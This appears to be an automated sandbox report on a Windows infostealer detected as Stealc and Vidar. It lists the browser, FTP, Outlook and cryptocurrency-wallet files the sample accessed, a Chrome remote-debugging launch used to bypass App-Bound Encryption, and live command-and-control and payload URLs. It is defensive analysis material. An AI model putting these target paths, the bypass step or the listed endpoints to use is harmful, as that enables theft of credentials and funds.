Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6028, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2741444292.0000000000888000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2224417817.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2742447007.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6028, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6028, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	51%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exephpT=.s	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpRi	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpHDBKEB.exeata;	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe506ncoded	0%	Avira URL Cloud	safe
https://msn.comXIDv10.	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe#PV	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exef	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/indexE	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dll.1	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllNg	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
plus.l.google.com	142.250.181.78	true	false	high
play.google.com	172.217.19.206	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732334581519&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732334580523&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732334580520&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://c.msn.com/c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
https://sb.scorecardresearch.com/b?rn=1732334574869&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=21DC5826412B689A12D14D66402C691D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732334581401&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	CAFIJKFH.0.dr, Web Data.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, CAFIJKFH.0.dr, Web Data.9.dr	false		high
http://www.broofa.com	chromecache_451.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
http://31.41.244.11/files/random.exephpT=.s	skotes.exe, 0000001C.00000002.3467235334.0000000001290000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/0	000003.log4.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://www.last.fm/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
http://31.41.244.11/files/random.exe506ncoded	skotes.exe, 0000001C.00000002.3467235334.0000000001290000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json.9.dr	false		high
https://www.youtube.com	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://www.instagram.com	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://drive.google.com/	manifest.json.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://msn.comXIDv10.	Cookies.10.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://www.messenger.com	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://www.deezer.com/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://web.telegram.org/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpRi	file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BGDAAEHDHIIJKECBKEBA.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.9.dr	false		high
https://vibe.naver.com/today	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, CAFIJKFH.0.dr, Web Data.9.dr	false		high
https://assets.msn.com	a3b6bb1a-9acc-4deb-b9c9-476a58d5d9c0.tmp.10.dr	false		high
https://www.ecosia.org/newtab/	CAFIJKFH.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpHDBKEB.exeata;	file.exe, 00000000.00000002.2742447007.0000000000CA7000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2742447007.0000000000CA7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json.9.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_451.5.dr	false		high
http://31.41.244.11/files/random.exe#PV	skotes.exe, 0000001C.00000002.3467235334.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	false		high
http://185.215.113.16/mine/random.exef	file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/indexE	skotes.exe, 0000001C.00000002.3467235334.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chromewebstore.google.com/	manifest.json0.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001C.00000002.3467235334.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3467235334.0000000001290000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.9.dr	false		high
https://y.music.163.com/m/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp, BGDAAEHDHIIJKECBKEBA.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllNg	file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.whatsapp.com	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://m.kugou.com/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://www.office.com	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log4.9.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, CAFIJKFH.0.dr, Web Data.9.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp, BGDAAEHDHIIJKECBKEBA.0.dr	false		high
https://tidal.com/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll.1	file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com	000003.log7.9.dr	false		high
https://gaana.com/	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://drive-staging.corp.google.com/	manifest.json.9.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, CAFIJKFH.0.dr, Web Data.9.dr	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	false		high
https://apis.google.com	chromecache_451.5.dr	false		high
https://ntp.msn.com/	000003.log4.9.dr, 000003.log8.9.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2792327892.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376808160205306.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.57.90.136	unknown	United States	35994	AKAMAI-ASUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.168.73.83	unknown	United States	16509	AMAZON-02US	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
